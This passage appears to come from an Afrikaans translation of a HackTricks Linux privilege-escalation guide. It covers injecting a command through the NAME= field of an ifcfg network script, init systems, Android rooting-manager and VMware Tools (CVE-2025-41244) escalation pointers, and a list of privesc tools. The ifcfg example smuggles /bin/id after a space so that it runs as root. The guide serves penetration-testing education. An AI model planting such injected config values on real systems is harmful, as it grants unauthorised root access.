As, om watter rede ook al, ’n gebruiker in staat is om write ’n ifcf-<whatever> skrip na /etc/sysconfig/network-scripts te plaas of ’n bestaande een te adjust, dan is jou system is pwned.

Network scripts, ifcg-eth0 byvoorbeeld, word gebruik vir netwerkverbindinge. Hulle lyk presies soos .INI-lêers. Hulle word egter ~sourced~ op Linux deur Network Manager (dispatcher.d).

In my geval word die NAME= attribuut in hierdie netwerk-skripte nie korrek hanteer nie. As jy wit/leë spasie in die naam het, probeer die stelsel die deel ná die wit/leë spasie uitvoer. Dit beteken dat alles na die eerste leë spasie as root uitgevoer word.

Byvoorbeeld: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Let wel die leë spasie tussen Network en /bin/id)

init, init.d, systemd, en rc.d

Die gids /etc/init.d huisves skripte vir System V init (SysVinit), die klassieke Linux-diensbestuurstelsel. Dit sluit skripte in om dienste te start, stop, restart, en soms te reload. Hierdie kan direk uitgevoer word of deur simboliese skakels in /etc/rc?.d/. ’n Alternatiewe pad in Redhat-stelsels is /etc/rc.d/init.d.

Aan die ander kant is /etc/init geassosieer met Upstart, ’n jonger service management wat deur Ubuntu geïntroduseer is, wat konfigurasielêers gebruik vir diensbestuurstake. Ten spyte van die oorskakeling na Upstart word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik weens ’n versoenbaarheidslaag in Upstart.

systemd verskyn as ’n moderne inisialisasie- en diensbestuurder, en bied gevorderde funksies soos on-demand daemon-opstart, automount-bestuur en stelselstatus-snapshots. Dit organiseer lêers in /usr/lib/systemd/ vir verspreidingspakkette en /etc/systemd/system/ vir administrateurwysigings, wat stelseladministrasie vereenvoudig.

Ander Wenke

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Android-rooting frameworks koppel gewoonlik ’n syscall om bevoorregte kernel-funksionaliteit aan ’n userspace manager bloot te stel. Swakke manager-verifikasie (bv. signature checks gebaseer op FD-order of swak password schemes) kan ’n plaaslike app toelaat om die manager na te boots en op reeds-gerootte toestelle na root te eskaleer. Lees meer en sien eksploitasiemetodes hier:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

Regex-gedrewe service-ontdekking in VMware Tools/Aria Operations kan ’n binêre pad uit proses-opdragreëls onttrek en dit met -v onder ’n bevoorregte konteks uitvoer. Permissiewe patrone (bv. die gebruik van \S) kan pas by aanvaller-opgestelde listeners in skryfbare plekke (bv. /tmp/httpd), wat lei tot uitvoering as root (CWE-426 Untrusted Search Path).

Lees meer en sien ’n gegeneraliseerde patroon toepaslik op ander discovery/monitoring stacks hier:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Kernel-sekuriteitsbeskermings

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Meer hulp

Static impacket binaries

Linux/Unix Privesc Tools

Beste gereedskap om Linux plaaslike privilege escalation-vektore te soek: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

Verwysings

• 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)

• alseambusher/crontab-ui

• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

• https://payatu.com/guide-linux-privilege-escalation/

• https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744

• http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html

• https://touhidshaikh.com/blog/?p=827

• https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf

• https://github.com/frizb/Linux-Privilege-Escalation

• https://github.com/lucyoa/kernel-exploits

• https://github.com/rtcrowley/linux-private-i

• https://www.linux.com/news/what-socket/

• https://muzec0318.github.io/posts/PG/peppo.html

• https://www.linuxjournal.com/article/7744

• https://blog.certcube.com/suid-executables-linux-privilege-escalation/

• https://juggernaut-sec.com/sudo-part-2-lpe

• https://linuxconfig.org/how-to-manage-acls-on-linux

• https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

• https://www.linode.com/docs/guides/what-is-systemd/

• 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)

• GNU Bash Manual – BASH_ENV (non-interactive startup file)

• 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)

• NVISO – You name it, VMware elevates it (CVE-2025-41244)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.